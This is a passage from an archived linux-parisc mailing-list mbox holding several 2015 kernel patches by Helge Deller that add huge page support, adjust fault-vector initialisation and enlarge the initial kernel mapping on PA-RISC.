 uiyMjEPEUGHmPXfSwGgy73ioJM3SX/M9RK+voUZ5xqe8O335de2M/uArzRHFywHCXtMVRhH8Q
 /58Yl86juMOQO8yYXy0bL3xesSPkbA5B2TMmB9KV6W3TW4bAlnRPvuu9AcY=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26155
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26155>

Use the 22bit instead of the 17bit branch instruction on a 64bit kernel
to reach the do_syscall_trace_exit function from the gateway page.
A huge page enabled kernel may need the additional branch distance bits.

Signed-off-by: Helge Deller <deller@gmx.de>
---
 arch/parisc/kernel/syscall.S | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/arch/parisc/kernel/syscall.S b/arch/parisc/kernel/syscall.S
index 0b8d26d..3fbd725 100644
--- a/arch/parisc/kernel/syscall.S
+++ b/arch/parisc/kernel/syscall.S
@@ -369,7 +369,7 @@ tracesys_exit:
 	ldo	-16(%r30),%r29			/* Reference param save area */
 #endif
 	ldo	TASK_REGS(%r1),%r26
-	bl	do_syscall_trace_exit,%r2
+	BL	do_syscall_trace_exit,%r2
 	STREG   %r28,TASK_PT_GR28(%r1)          /* save return value now */
 	ldo     -THREAD_SZ_ALGN-FRAME_SIZE(%r30),%r1      /* get task ptr */
 	LDREG	TI_TASK(%r1), %r1
@@ -390,7 +390,7 @@ tracesys_sigexit:
 #ifdef CONFIG_64BIT
 	ldo	-16(%r30),%r29			/* Reference param save area */
 #endif
-	bl	do_syscall_trace_exit,%r2
+	BL	do_syscall_trace_exit,%r2
 	ldo	TASK_REGS(%r1),%r26
 
 	ldil	L%syscall_exit_rfi,%r1
-- 
2.1.0

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH 4/9] parisc: Add defines for Huge page support
Date: Fri, 20 Nov 2015 22:38:37 +0100
Lines: 114
Approved: news@gmane.org
Message-ID: <1448055522-11594-5-git-send-email-deller@gmx.de>
References: <1448055522-11594-1-git-send-email-deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1448055556 6385 80.91.229.3 (20 Nov 2015 21:39:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 20 Nov 2015 21:39:16 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Nov 20 22:39:05 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZztOR-0005rY-Hu
	for glpp-linux-parisc@plane.gmane.org; Fri, 20 Nov 2015 22:38:55 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S935179AbbKTViy (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 20 Nov 2015 16:38:54 -0500
Original-Received: from mout.gmx.net ([212.227.15.18]:58288 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S935180AbbKTViw (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 20 Nov 2015 16:38:52 -0500
Original-Received: from localhost.localdomain ([92.203.21.201]) by mail.gmx.com
 (mrgmx002) with ESMTPSA (Nemesis) id 0Ldq55-1agxZE0aXL-00j1D8; Fri, 20 Nov
 2015 22:38:47 +0100
X-Mailer: git-send-email 2.1.0
In-Reply-To: <1448055522-11594-1-git-send-email-deller@gmx.de>
X-Provags-ID: V03:K0:N2Xi7HMToW7YCElbftkvVl/VFJKYljY+s6T5nj/I6RGiTj/Mboe
 MI99aNpaCB+d0HrxLh9sCT+9HF5q6t4IXcSCg2X1dcHT6YkyYcfJwHZhPz4iGHtceI0I0uX
 nG1UyLwDpJideadnsZsl7bANlLm3YwDFDyBIjyVIL8XqNQkyj5C/2dB+bJeiB25WRUyguLZ
 ibcWPbz9fV1PJRzCvXBWQ==
X-UI-Out-Filterresults: notjunk:1;V01:K0:T3BACczSr/8=:ksX7zdH1hmS5uFrDO/FP2x
 wcs4CM6PvmJzMGU24VyXPASGYYL7lBkvgwhNezKon2i5OgynF2A3g7z9sX5Cnx5AuwngrnKlY
 RKE4QDpWiZX6WvfNcydHpuCqtvFpYBUA4n31ghkGr1gCrUTiV2a9bJ7GSfyu13KaOoZxBLnZO
 cLRTsgdljhpDOC6HB255m2lRBmtPKXaFZLFnO17bqOjNGq1vtEPKJnhEaLM/3wT+mvoa1xjHO
 J7lYz5gnXVFoJlj4yySX7eQTGlGzBG3TS7CmZ/72nYZ0dgyiyONJGiYq3ejZxD2gP2dTU6yHU
 cawNApwx2UrStI4fGhCNM8eI5KjUGBELt9s850fjRa01BOUJ7JSjxfsNMLoj6BekypVTOrKWp
 1mmjVF5q+fIuzu5TZ/ulK1QEKdTHjKZf/NRH3AY03vsFZI3mqzEIK74dnHLsZeEpFjqh21Kx1
 UUg5SpC1r3+CxM2BhSSKJXMTAQUDuyibRGTxzXi3VFkZbCKgF1JfdrsGXel0z3JaCaktYnh+y
 hN7uz/kmlgVw6bgXFy+8nkKJ0ljCig3TCurEMQNHchz9cFzONP1E8fOmsLW6f6zAJJaiMY5yB
 WeAWLr2TYiy2MZAIBCKq12sXYVOpJvUVy+XWg7kBhr9TBV1eYITWqU7WjHbKcRLK3eol0FWVc
 6u0gSbGgjOlA4YdiVz1HfPSzndQ8/7l77XKJX3al9cMyuCKgqqQviWbfuc6dlN/lKXFAsvzRb
 DUfce53lfx8xGFZv57Lcq9U2eEBl64kAA4i+2VQKB0PPpnpBIjviMFfNucI=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26156
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26156>

Huge pages on parisc will have the same size as one pmd table, which
is on a 64bit kernel 2MB on a kernel with 4K kernel page sizes, and
on a 32bit kernel 4MB when used with 4K kernel pages.

Since parisc does not physically supports 2MB huge page sizes, emulate
it with two consecutive 1MB page sizes instead. Keeping the same huge
page size as one pmd will allow us to add transparent huge page support
later on.

Bit 21 in the pte flags was unused and will now be used to mark a page
as huge page (_PAGE_HPAGE_BIT).

Signed-off-by: Helge Deller <deller@gmx.de>
---
 arch/parisc/include/asm/page.h    | 13 ++++++++++++-
 arch/parisc/include/asm/pgtable.h | 20 +++++++++++++++++---
 2 files changed, 29 insertions(+), 4 deletions(-)

diff --git a/arch/parisc/include/asm/page.h b/arch/parisc/include/asm/page.h
index 60d5d17..80e742a 100644
--- a/arch/parisc/include/asm/page.h
+++ b/arch/parisc/include/asm/page.h
@@ -145,11 +145,22 @@ extern int npmem_ranges;
 #endif /* CONFIG_DISCONTIGMEM */
 
 #ifdef CONFIG_HUGETLB_PAGE
-#define HPAGE_SHIFT		22	/* 4MB (is this fixed?) */
+#define HPAGE_SHIFT		PMD_SHIFT /* fixed for transparent huge pages */
 #define HPAGE_SIZE      	((1UL) << HPAGE_SHIFT)
 #define HPAGE_MASK		(~(HPAGE_SIZE - 1))
 #define HUGETLB_PAGE_ORDER	(HPAGE_SHIFT - PAGE_SHIFT)
+
+#if defined(CONFIG_64BIT) && defined(CONFIG_PARISC_PAGE_SIZE_4KB)
+# define REAL_HPAGE_SHIFT	20 /* 20 = 1MB */
+# define _HUGE_PAGE_SIZE_ENCODING_DEFAULT _PAGE_SIZE_ENCODING_1M
+#elif !defined(CONFIG_64BIT) && defined(CONFIG_PARISC_PAGE_SIZE_4KB)
+# define REAL_HPAGE_SHIFT	22 /* 22 = 4MB */
+# define _HUGE_PAGE_SIZE_ENCODING_DEFAULT _PAGE_SIZE_ENCODING_4M
+#else
+# define REAL_HPAGE_SHIFT	24 /* 24 = 16MB */
+# define _HUGE_PAGE_SIZE_ENCODING_DEFAULT _PAGE_SIZE_ENCODING_16M
 #endif
+#endif /* CONFIG_HUGETLB_PAGE */
 
 #define virt_addr_valid(kaddr)	pfn_valid(__pa(kaddr) >> PAGE_SHIFT)
 
diff --git a/arch/parisc/include/asm/pgtable.h b/arch/parisc/include/asm/pgtable.h
index f93c4a4..638317a 100644
--- a/arch/parisc/include/asm/pgtable.h
+++ b/arch/parisc/include/asm/pgtable.h
@@ -167,7 +167,7 @@ static inline void purge_tlb_entries(struct mm_struct *mm, unsigned long addr)
 #define _PAGE_NO_CACHE_BIT 24   /* (0x080) Uncached Page (U bit) */
 #define _PAGE_ACCESSED_BIT 23   /* (0x100) Software: Page Accessed */
 #define _PAGE_PRESENT_BIT  22   /* (0x200) Software: translation valid */
-/* bit 21 was formerly the FLUSH bit but is now unused */
+#define _PAGE_HPAGE_BIT    21   /* (0x400) Software: Huge Page */
 #define _PAGE_USER_BIT     20   /* (0x800) Software: User accessible page */
 
 /* N.B. The bits are defined in terms of a 32 bit word above, so the */
@@ -194,6 +194,7 @@ static inline void purge_tlb_entries(struct mm_struct *mm, unsigned long addr)
 #define _PAGE_NO_CACHE (1 << xlate_pabit(_PAGE_NO_CACHE_BIT))
 #define _PAGE_ACCESSED (1 << xlate_pabit(_PAGE_ACCESSED_BIT))
 #define _PAGE_PRESENT  (1 << xlate_pabit(_PAGE_PRESENT_BIT))
+#define _PAGE_HUGE     (1 << xlate_pabit(_PAGE_HPAGE_BIT))
 #define _PAGE_USER     (1 << xlate_pabit(_PAGE_USER_BIT))
 
 #define _PAGE_TABLE	(_PAGE_PRESENT | _PAGE_READ | _PAGE_WRITE |  _PAGE_DIRTY | _PAGE_ACCESSED)
@@ -217,7 +218,7 @@ static inline void purge_tlb_entries(struct mm_struct *mm, unsigned long addr)
 #define PxD_FLAG_VALID    (1 << xlate_pabit(_PxD_VALID_BIT))
 #define PxD_FLAG_MASK     (0xf)
 #define PxD_FLAG_SHIFT    (4)
-#define PxD_VALUE_SHIFT   (8) /* (PAGE_SHIFT-PxD_FLAG_SHIFT) */
+#define PxD_VALUE_SHIFT   (PFN_PTE_SHIFT-PxD_FLAG_SHIFT)
 
 #ifndef __ASSEMBLY__
 
@@ -363,6 +364,18 @@ static inline pte_t pte_mkwrite(pte_t pte)	{ pte_val(pte) |= _PAGE_WRITE; return
 static inline pte_t pte_mkspecial(pte_t pte)	{ return pte; }
 
 /*
+ * Huge pte definitions.
+ */
+#ifdef CONFIG_HUGETLB_PAGE
+#define pte_huge(pte)           (pte_val(pte) & _PAGE_HUGE)
+#define pte_mkhuge(pte)         (__pte(pte_val(pte) | _PAGE_HUGE))
+#else
+#define pte_huge(pte)           (0)
+#define pte_mkhuge(pte)         (pte)
+#endif
+
+
+/*
  * Conversion functions: convert a page and protection to a page entry,
  * and a page entry and page directory to the page they refer to.
  */
@@ -410,8 +423,9 @@ static inline pte_t pte_modify(pte_t pte, pgprot_t newprot)
 /* Find an entry in the second-level page table.. */
 
 #if CONFIG_PGTABLE_LEVELS == 3
+#define pmd_index(addr)         (((addr) >> PMD_SHIFT) & (PTRS_PER_PMD - 1))
 #define pmd_offset(dir,address) \
-((pmd_t *) pgd_page_vaddr(*(dir)) + (((address)>>PMD_SHIFT) & (PTRS_PER_PMD-1)))
+((pmd_t *) pgd_page_vaddr(*(dir)) + pmd_index(address))
 #else
 #define pmd_offset(dir,addr) ((pmd_t *) dir)
 #endif
-- 
2.1.0

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH 5/9] parisc: Initialize the fault vector earlier in the boot process.
Date: Fri, 20 Nov 2015 22:38:38 +0100
Lines: 138
Approved: news@gmane.org
Message-ID: <1448055522-11594-6-git-send-email-deller@gmx.de>
References: <1448055522-11594-1-git-send-email-deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1448055556 6387 80.91.229.3 (20 Nov 2015 21:39:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 20 Nov 2015 21:39:16 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Nov 20 22:39:09 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZztOS-0005rY-55
	for glpp-linux-parisc@plane.gmane.org; Fri, 20 Nov 2015 22:38:56 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S935180AbbKTViz (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 20 Nov 2015 16:38:55 -0500
Original-Received: from mout.gmx.net ([212.227.15.18]:61930 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S935182AbbKTViw (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 20 Nov 2015 16:38:52 -0500
Original-Received: from localhost.localdomain ([92.203.21.201]) by mail.gmx.com
 (mrgmx002) with ESMTPSA (Nemesis) id 0MgLMU-1Zl6491vte-00NicJ; Fri, 20 Nov
 2015 22:38:47 +0100
X-Mailer: git-send-email 2.1.0
In-Reply-To: <1448055522-11594-1-git-send-email-deller@gmx.de>
X-Provags-ID: V03:K0:AWAo4uE/5Wd7y2DkgV83X96XhHDlrTv0l5s93GTSGGZJfD3l3bT
 tNCq5g0QUq1MWP7ir+BxxVibPA99Q5MPNCqdpEGEG7QP04cuKgxZQtxX3h5DreKh3KcGNqv
 KgZA2QlOGouiOhAt1J5PuUaPGZ3QywNqJC/Isnkwzj4C+YKI5rwZ5SdYY1hxkD78osYX+++
 xe3DOaAb19RE3jBlrLi4A==
X-UI-Out-Filterresults: notjunk:1;V01:K0:FzcjMh8Axbw=:Vw8YE3K85zGFi9j8pUe5jC
 hVsU/GJJIuPQGrFiHuD+0iYQQsCFQMYmvisqycAL5/dMblw6qiDg/OrfPrA09oBfnyQg7yJRR
 EM2U5zH7TDdNE+Z3pdlfv2h79pA8sbFRBXiBV5SIxY0PKszqHUiZAlRpZ5dmvUC/EmHTaLzc2
 HiMtd2K5xMBFJ+/klvH6eo/AEagTo50LrAqNS4zn9BDU5WIMgWKGTOSltm0G2Gds8ClQgHSRP
 oF8iRg8FaueUDh/NbKFZg7+sNdJC1+6iq4z/KTMIdElkuEh8Gycc5S1UPjhSHX3X1NsT2DVx8
 RvuQEFf4/G8W1wKQj/BVjK93fvhbEsCS6eAHGEsOxZwQkLgpRZgrws8jRTEPiQEUnGUjANgFF
 yCmDqzhcCUVpivBGvkb6NkIedSXfg98Dwn2G9UDaBLKehLlSy4+aQKd6FxgloU/6HfMOtbWJZ
 uYfZ4Bvnw3eaGESZgDm6Mpty4Lj23kYaj9T4VKOgPdzUKjBcvVH5QrkIt5UQWeFkcARyRSPBP
 qyflTOaNhoiWr2kh4j4JroYel74zi/Qm7aKP0mkipnUwvIV4OxKarB9p1/VXFRGB6Y0G4sHep
 9fXoJ6FyubxARPB2XGEVaJwR8+oI1D9e7bRr1UQg3nx63XAqFZLsaJBsycOBeJxZHVFDi8GJ8
 14PszrUtxffmqKYrk9WOsZE5w1wJ/5y6/K17FDp+qfN5HxgQ2WHOhdsa3uf3xalzh2g+jO7Wt
 4Q/5+84WuFx1A51HTP3wR0j//5FbuGBEH+vOHca1GGTSvzjxLs4NTFdSnfo=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26157
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26157>

A fault vector on parisc needs to be 2K aligned.  Furthermore the
checksum of the fault vector needs to sum up to 0 which is being
calculated and written at runtime.

Up to now we aligned both PA20 and PA11 fault vectors on the same 4K
page in order to easily write the checksum after having mapped the
kernel read-only (by mapping this page only as read-write).
But when we want to map the kernel text and data on huge pages this
makes things harder.
So, simplify it by aligning both fault vectors on 2K boundries and write
the checksum before we map the page read-only.

Signed-off-by: Helge Deller <deller@gmx.de>
---
 arch/parisc/kernel/entry.S | 11 +++--------
 arch/parisc/kernel/setup.c |  3 +++
 arch/parisc/kernel/traps.c | 35 +++++++++++++++--------------------
 3 files changed, 21 insertions(+), 28 deletions(-)

diff --git a/arch/parisc/kernel/entry.S b/arch/parisc/kernel/entry.S
index c5ef408..b2fdc44 100644
--- a/arch/parisc/kernel/entry.S
+++ b/arch/parisc/kernel/entry.S
@@ -646,17 +646,12 @@
 
 
 	/*
-	 * Align fault_vector_20 on 4K boundary so that both
-	 * fault_vector_11 and fault_vector_20 are on the
-	 * same page. This is only necessary as long as we
-	 * write protect the kernel text, which we may stop
-	 * doing once we use large page translations to cover
-	 * the static part of the kernel address space.
+	 * Fault_vectors are architecturally required to be aligned on a 2K
+	 * boundary
 	 */
 
 	.text
-
-	.align 4096
+	.align 2048
 
 ENTRY(fault_vector_20)
 	/* First vector is invalid (0) */
diff --git a/arch/parisc/kernel/setup.c b/arch/parisc/kernel/setup.c
index 72a3c65..f097762 100644
--- a/arch/parisc/kernel/setup.c
+++ b/arch/parisc/kernel/setup.c
@@ -377,6 +377,7 @@ arch_initcall(parisc_init);
 void start_parisc(void)
 {
 	extern void start_kernel(void);
+	extern void early_trap_init(void);
 
 	int ret, cpunum;
 	struct pdc_coproc_cfg coproc_cfg;
@@ -397,6 +398,8 @@ void start_parisc(void)
 		panic("must have an fpu to boot linux");
 	}
 
+	early_trap_init(); /* initialize checksum of fault_vector */
+
 	start_kernel();
 	// not reached
 }
diff --git a/arch/parisc/kernel/traps.c b/arch/parisc/kernel/traps.c
index b99b39f..553b098 100644
--- a/arch/parisc/kernel/traps.c
+++ b/arch/parisc/kernel/traps.c
@@ -807,7 +807,7 @@ void notrace handle_interruption(int code, struct pt_regs *regs)
 }
 
 
-int __init check_ivt(void *iva)
+void __init initialize_ivt(const void *iva)
 {
 	extern u32 os_hpmc_size;
 	extern const u32 os_hpmc[];
@@ -818,8 +818,8 @@ int __init check_ivt(void *iva)
 	u32 *hpmcp;
 	u32 length;
 
-	if (strcmp((char *)iva, "cows can fly"))
-		return -1;
+	if (strcmp((const char *)iva, "cows can fly"))
+		panic("IVT invalid");
 
 	ivap = (u32 *)iva;
 
@@ -839,28 +839,23 @@ int __init check_ivt(void *iva)
 	    check += ivap[i];
 
 	ivap[5] = -check;
-
-	return 0;
 }
 	
-#ifndef CONFIG_64BIT
-extern const void fault_vector_11;
-#endif
-extern const void fault_vector_20;
 
-void __init trap_init(void)
+/* early_trap_init() is called before we set up kernel mappings and
+ * write-protect the kernel */
+void  __init early_trap_init(void)
 {
-	void *iva;
+	extern const void fault_vector_20;
 
-	if (boot_cpu_data.cpu_type >= pcxu)
-		iva = (void *) &fault_vector_20;
-	else
-#ifdef CONFIG_64BIT
-		panic("Can't boot 64-bit OS on PA1.1 processor!");
-#else
-		iva = (void *) &fault_vector_11;
+#ifndef CONFIG_64BIT
+	extern const void fault_vector_11;
+	initialize_ivt(&fault_vector_11);
 #endif
 
-	if (check_ivt(iva))
-		panic("IVT invalid");
+	initialize_ivt(&fault_vector_20);
+}
+
+void __init trap_init(void)
+{
 }
-- 
2.1.0

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH 6/9] parisc: Increase initial kernel mapping to 32MB on 64bit kernel
Date: Fri, 20 Nov 2015 22:38:39 +0100
Lines: 60
Approved: news@gmane.org
Message-ID: <1448055522-11594-7-git-send-email-deller@gmx.de>
References: <1448055522-11594-1-git-send-email-deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1448055559 6413 80.91.229.3 (20 Nov 2015 21:39:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 20 Nov 2015 21:39:19 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Nov 20 22:39:12 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZztOU-0005rY-A4
	for glpp-linux-parisc@plane.gmane.org; Fri, 20 Nov 2015 22:38:58 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S935181AbbKTVi4 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 20 Nov 2015 16:38:56 -0500
Original-Received: from mout.gmx.net ([212.227.15.19]:62770 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S935183AbbKTVix (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 20 Nov 2015 16:38:53 -0500
Original-Received: from localhost.localdomain ([92.203.21.201]) by mail.gmx.com
 (mrgmx002) with ESMTPSA (Nemesis) id 0MH0SI-1aCYZJ3G0A-00Dmzz; Fri, 20 Nov
 2015 22:38:47 +0100
X-Mailer: git-send-email 2.1.0
In-Reply-To: <1448055522-11594-1-git-send-email-deller@gmx.de>
X-Provags-ID: V03:K0:2oDGN4I2Cw2h+Nuy2v+07Ikah0/JXOL934U6ILjcfxX2wKUH73N
 ija3ROe/5lEPK7lujT8Y+E9jri5dJCT/Ow00gyfixClsZ5mLMaNSPJOxZewI655xAUKMv1c
 IzK2Psz7zwkTJAsdaiG6LdNbss9leTQBwudiMoOXEwgjNLzOV/L7QUtPpBBhLzwaGuJB0Om
 tBrJZXIe5zh9E2XpKkNng==
X-UI-Out-Filterresults: notjunk:1;V01:K0:V+L13Xx00CE=:ZIMwVIVRHcARf6FJD0ttDX
 YCgDieHz//mQL55GMkA7Y+BT0BQLwBYlZ1dM/w55E6Mm/V4rlztjHASs6VUXi3dvLRRX5ZjZy
 HSy+CiR8QnJjyMAPGRrmK/wEVi9L3RiIGz47IC35SISThiU1J2nabTsIGO6g6s75hKqIHFckq
 Q1hhFWLz/y81JDXsLc0BDJoXyG2+bl0cjwjcbAWaSPJezZQirOQ6fvubXSHXVRC9fiY40g04z
 Ytu9uWmdaHQPV19r0YIakQYRj59QOTFLWQobWKbESlEk0J98g75Apk8RpRP0jdd65A7eKpfwI
 Ansc7B+H8O2QRCRKLoM5g41vm5cvlqqygJbXWl13HJVQyhK5s5sFyKarrvhnue10w59V0pHQJ
 GOiCFekRTpX3thrpMyz4Ub8PSZLRzDmsiwrafwkMx2jAeQZWT0IO5t/LD1jb30QCdOFxsOIn/
 vhj3rj4Kv3wCDHrIHA2NTf60v+6ZZDaFKLFuAwX5f6gzFZmAklBfMTkh1bkbRwLGlIdYzAVbb
 MZqV4nmJ8zfcXZKup++mAmCKvejBXpFTh0vjAvnvtB6uNjcY//W0874WpnfP4EihdAQIemv+B
 sOnSFKWeq0MvNtkmVWy2maaPDR7bq0XaCsod6aQazMPNF2gmx2E0fVHB05wZRZ02f8hhmhFdu
 rfxYdPqJ8k56h5MWnTYfySfZ2X6QI/0EviWi7E0AJutkwAl2xT1EQPXibYoqg0ctfiOmKkBIx
 sAvxFLGWirX5LbBGr3882LSj94UAX3Oqjs3ZE6wPyhz2McFFDnifWY1PR0Y=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26158
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26158>

For the 64bit kernel the initially 16 MB kernel memory might become too
small if you build a kernel with many modules built-in and with kernel
text and data areas mapped on huge pages.

This patch increases the initial mapping to 32MB for 64bit kernels and
keeps 16MB for 32bit kernels.

Signed-off-by: Helge Deller <deller@gmx.de>
---
 arch/parisc/include/asm/pgtable.h | 6 +++++-
 arch/parisc/kernel/head.S         | 4 ++--
 2 files changed, 7 insertions(+), 3 deletions(-)

diff --git a/arch/parisc/include/asm/pgtable.h b/arch/parisc/include/asm/pgtable.h
index 638317a..d8534f9 100644
--- a/arch/parisc/include/asm/pgtable.h
+++ b/arch/parisc/include/asm/pgtable.h
@@ -83,7 +83,11 @@ static inline void purge_tlb_entries(struct mm_struct *mm, unsigned long addr)
 	printk("%s:%d: bad pgd %08lx.\n", __FILE__, __LINE__, (unsigned long)pgd_val(e))
 
 /* This is the size of the initially mapped kernel memory */
-#define KERNEL_INITIAL_ORDER	24	/* 0 to 1<<24 = 16MB */
+#ifdef CONFIG_64BIT
+#define KERNEL_INITIAL_ORDER	25	/* 1<<25 = 32MB */
+#else
+#define KERNEL_INITIAL_ORDER	24	/* 1<<24 = 16MB */
+#endif
 #define KERNEL_INITIAL_SIZE	(1 << KERNEL_INITIAL_ORDER)
 
 #if CONFIG_PGTABLE_LEVELS == 3
diff --git a/arch/parisc/kernel/head.S b/arch/parisc/kernel/head.S
index e7d6452..75aa0db 100644
--- a/arch/parisc/kernel/head.S
+++ b/arch/parisc/kernel/head.S
@@ -69,7 +69,7 @@ $bss_loop:
 	stw,ma          %arg2,4(%r1)
 	stw,ma          %arg3,4(%r1)
 
-	/* Initialize startup VM. Just map first 8/16 MB of memory */
+	/* Initialize startup VM. Just map first 16/32 MB of memory */
 	load32		PA(swapper_pg_dir),%r4
 	mtctl		%r4,%cr24	/* Initialize kernel root pointer */
 	mtctl		%r4,%cr25	/* Initialize user root pointer */
@@ -107,7 +107,7 @@ $bss_loop:
 	/* Now initialize the PTEs themselves.  We use RWX for
 	 * everything ... it will get remapped correctly later */
 	ldo		0+_PAGE_KERNEL_RWX(%r0),%r3 /* Hardwired 0 phys addr start */
-	ldi		(1<<(KERNEL_INITIAL_ORDER-PAGE_SHIFT)),%r11 /* PFN count */
+	load32		(1<<(KERNEL_INITIAL_ORDER-PAGE_SHIFT)),%r11 /* PFN count */
 	load32		PA(pg0),%r1
 
 $pgt_fill_loop:
-- 
2.1.0

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH 8/9] parisc: Add Huge Page and HUGETLBFS support
Date: Fri, 20 Nov 2015 22:38:41 +0100
Lines: 481
Approved: news@gmane.org
Message-ID: <1448055522-11594-9-git-send-email-deller@gmx.de>
References: <1448055522-11594-1-git-send-email-deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1448055559 6431 80.91.229.3 (20 Nov 2015 21:39:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 20 Nov 2015 21:39:19 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Nov 20 22:39:11 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZztOW-0005rY-2Z
	for glpp-linux-parisc@plane.gmane.org; Fri, 20 Nov 2015 22:39:00 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S935188AbbKTVi6 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 20 Nov 2015 16:38:58 -0500
Original-Received: from mout.gmx.net ([212.227.15.18]:65468 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
